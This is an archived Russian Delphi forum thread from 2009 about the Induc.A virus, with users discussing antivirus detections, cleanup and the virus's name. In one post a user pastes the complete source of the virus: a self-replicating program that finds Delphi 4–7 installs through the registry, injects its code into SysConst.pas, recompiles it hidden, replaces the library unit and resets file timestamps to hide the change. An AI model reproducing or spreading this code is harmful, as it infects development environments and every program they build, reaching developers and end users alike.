Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2009.10.25;
Скачать: CL | DM;

Вниз

Осторожно! Новый вирус, специфичный для Delphi   Найти похожие ветки 

 
GrayFace ©   (2009-08-26 10:12) [80]

xayam ©   (13.08.09 0:24) [37]
допустим конкретика есть, но нет так нет. Меня просто, как и автора статьи удивляет сочетание бесплатность программы/закрытый протокол, все эти противоотладочные действия и т.д. Неужели нас только двое?

По-моему, закономерно. Главное - конкурентов не будет (в отличие от аськи). Ну и мне кажется, что защита от вирусов тоже повышается.

Ega23 ©   (13.08.09 0:31) [41]
Ну вот например. Я разработал 3Д-движок (а-ля Контра). На базе данного движка я сделал игу и выложил её в сеть. Народ на неё подсел (да и движок оказался хорошим).

А че за игра?


 
istok20 ©   (2009-08-26 11:16) [81]


> Это другое, видать последователи появились у вируса. Тот
> в ESET был WIN32/Induc.A


Да, выдавало как Induc.A, после замены sysconst по инструкции стало ругаться на delf.oqx на все скомпиленные exe.

Меня интересует как это лечить, чтоб работать в делфи дальше.


 
istok20 ©   (2009-08-26 16:02) [82]

каспер на эти exe не ругается, но 15 из 41 антивирусов с virustotal.com - ругаются, часть из них пишут Heuristic.LooksLike.Win32.Banload.I  Trojan/Downloader.Banload.aedv   Trojan-Downloader/W32.Banload.370176.H

но когда читаю про эти трояны - не нахожу у себя их модулей..
может такое быть что после "лечения" от Induc.A случилось так что exe из delphi стали похои на данного трояна... или всё же у меня наверняка что-то есть злое???


 
istok20 ©   (2009-08-26 16:32) [83]

решил проблему тем, что стянул Lib с другого компа, пока никто не ругается


 
TIF ©   (2009-08-26 17:25) [84]

> или всё же у меня наверняка что-то есть злое???

Можно отправить на исследование в ЛК. IMHO, скорее всего ничего не найдут :) Так и ответят


 
TIF ©   (2009-08-27 15:49) [85]

Нет, я конечно Лабораторию Касперского люблю и уважаю, но на это без боли смотреть не могу:
Как видно, вирус внедряет своей код в файл с расширением dcu — "in dcu". Переставив пару букв местами мы и получаем название, которое нас вполне устроило — Induc.
http://www.securelist.com/ru/weblog/39134/Istoriya_Indyuka

Логика %-))) Боже мой...


 
RWolf ©   (2009-08-27 17:13) [86]

ну так вирусов миллион, всем имена придумывать — фантазии не напасешься.


 
Inovet ©   (2009-08-27 17:56) [87]

> [85] TIF ©   (27.08.09 15:49)
> dcu — "in dcu". Переставив пару букв местами мы и получаем
> название, которое нас вполне устроило — Induc.
>
> Логика %-))) Боже мой...

На так, наведённый типа.


 
Leonid Troyanovsky ©   (2009-08-27 19:50) [88]

Правильное его имя - интроспективный вирус, IMHO.

Подобной задачкой (правда, без самого паровоза) грузили студентов
не одного поколения. Я первый раз узнал формулировку из хорошей книги
Чарльз Уэзерелл "Этюды для программистов", ЕМНИП.

http://groups.google.com/group/fido7.ru.delphi/browse_thread/thread/727ccc94c2b781d8/9429cab1321636b

Часто обсуждалась в ru.algorithm для разнообразнейших языков,
был и сайт, посвященный оной задаче.

Почему повезло именно дельфи - хз, видимо, для обучения
была широко распространена. А в окружаюшую среду попал, когда,
видимо, начались более серьезные поделки. Вряд ли инфицированный
продукт был средством разработки, скорее игрушка, или тулза, способная
заинтересовать дельферов даже в  виде экзешника, не думаю, что
много дельферов обменивались system.dcu.

Смотрю сейчас на оный код и меня терзают смутные сомнения, что
это не дельфер писал, ну, или, не привыкший к дельфи, или часто
скакавший между языками. А уж ошибка в экранировании $
просто смешная, чего ж даже без отладки писалось.
Хотя, возможно, что был найден подходящий по размеру пример
и к нему на коленке вставили зубы.

Пойду еще поразмышляю.

--
Regards, LVT.


 
Leonid Troyanovsky ©   (2009-08-27 20:01) [89]

Приведу, что ли код, чтоб кому интересно, смотрел здесь.

uses windows;

var sc:array[1..24] of string=("uses windows; var sc:array[1..24] of string=(",
"function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]",
"=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;",
"h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begi n",
"h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle",
"(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile",
"(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while",
"not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0",
"then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2",
",$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,",
"x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$",
")); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.",
"wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,",
"f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),",
"pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,",
"0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=",
"CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,",
"@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of",
"char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(",
"HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then",
"begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=",
"1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+",
"$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;",
"begin st; end.");

function x(s:string):string;
var
 i:integer;
begin
 for i:=1 to length(s) do
   if s[i]=#36 then s[i]:=#39;
 result:=s;
end;

procedure re(s,d,e:string);
var
 f1,f2:textfile;
 h:cardinal;
 f:STARTUPINFO;
 p:PROCESS_INFORMATION;
 b:boolean;
 t1,t2,t3:FILETIME;
begin
 h:=CreateFile(pchar(d+"bak"),0,0,0,3,0,0);
 if h<>DWORD(-1) then
 begin
   CloseHandle(h);
   exit;
 end;
 {"I-}assignfile(f1,s);
 reset(f1);
 if ioresult<>0 then
   exit;
 assignfile(f2,d+"pas");
 rewrite(f2);
 if ioresult<>0 then
 begin
   closefile(f1);
   exit;
 end;

 while not eof(f1) do
 begin
   readln(f1,s);
   writeln(f2,s);
   if pos("implementation",s)<>0 then
     break;
 end;

 for h:= 1 to 1 do
   writeln(f2,sc[h]);
 for h:= 1 to 23 do
   writeln(f2,""""+sc[h],""",");
 writeln(f2,""""+sc[24]+""");");
 for h:= 2 to 24 do
   writeln(f2,x(sc[h]));
 closefile(f1);
 closefile(f2);
 {"I+}MoveFile(pchar(d+"dcu"),pchar(d+"bak"));
 fillchar(f,sizeof(f),0);
 f.cb := sizeof(f);
 f.dwFlags := STARTF_USESHOWWINDOW;
 f.wShowWindow := SW_HIDE;
 b := CreateProcess(nil,pchar(e+"""+d+"pas""),0,0,false,0,0,0,f,p);
 if b then
   WaitForSingleObject(p.hProcess,INFINITE);
 MoveFile(pchar(d+"bak"),pchar(d+"dcu"));
 DeleteFile(pchar(d+"pas"));
 h := CreateFile(pchar(d+"bak"),0,0,0,3,0,0);
 if h=DWORD(-1) then
   exit;
 GetFileTime(h,@t1,@t2,@t3);
 CloseHandle(h);
 h := CreateFile(pchar(d+"dcu"),256,0,0,3,0,0);
 if h=DWORD(-1) then
   exit;
 SetFileTime(h,@t1,@t2,@t3);
 CloseHandle(h);
end;

procedure st;
var  
 k:HKEY;
 c:array [1..255] of char;
 i:cardinal;
 r:string;
 v:char;
begin
 for v:="4" to "7" do
   if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar("Software\Borland\Delphi\"+v+".0"),0,KEY_READ,k)=0 then
   begin
     i:=255;
     if RegQueryValueEx(k,"RootDir",nil,@i,@c,@i)=0 then
     begin
       r:="";
       i:=1;
       while c[i]<>#0 do
       begin
         r:=r+c[i];
         inc(i);
       end;
       re(r+"\source\rtl\sys\SysConst"+".pas",r+"\lib\sysconst.","""+r+"\bin\dcc32.exe" ");
     end;
   RegCloseKey(k);
 end;
end;

begin
 st;
end.


Форматировал не я, видимо, GunSmoker.


 
Leonid Troyanovsky ©   (2009-08-27 22:16) [90]


> Leonid Troyanovsky ©   (27.08.09 20:01) [89]

Блин, никто даже не отзовется. Чего, меня одного заботы одолели?
Вот оно - Прочее, давайте обсудим.
Дык, по всем, кто трудится в эхотаге уже каток проехал.

Ясное ж дело, что дельфи здесь по воле случая.
Напрягите мыслительную мышцу.

--
Regards, LVT.


 
Anatoly Podgoretsky ©   (2009-08-27 22:36) [91]

> Leonid Troyanovsky  (27.08.2009 22:16:30)  [90]

Нафиг ты голову ерундой забиваешь?


 
Leonid Troyanovsky ©   (2009-08-27 22:55) [92]


> Anatoly Podgoretsky ©   (27.08.09 22:36) [91]

> Нафиг ты голову ерундой забиваешь?

А то и верно.
Пойду-ка я, Анатолий, спать, бо тяжелый день завтра -
концемесячная тяпница.

--
Regards, LVT.



Страницы: 1 2 3 вся ветка

Текущий архив: 2009.10.25;
Скачать: CL | DM;

Наверх




Память: 0.64 MB
Время: 0.027 c
15-1250852265
partizan
2009-08-21 14:57
2009.10.25
Прочитать документ word


1-1221634382
Sashka
2008-09-17 10:53
2009.10.25
Последовательность идентификации и устранения ошибки


15-1250592835
abun
2009-08-18 14:53
2009.10.25
Backdoor.Hupigon.bnln и Heuristic.BehavesLike.Win32.O - что это??


2-1251993467
Eugene1501
2009-09-03 19:57
2009.10.25
Какое событие вызывает перемещение окна


15-1251405006
Юрий
2009-08-28 00:30
2009.10.25
С днем рождения ! 28 августа 2009 пятница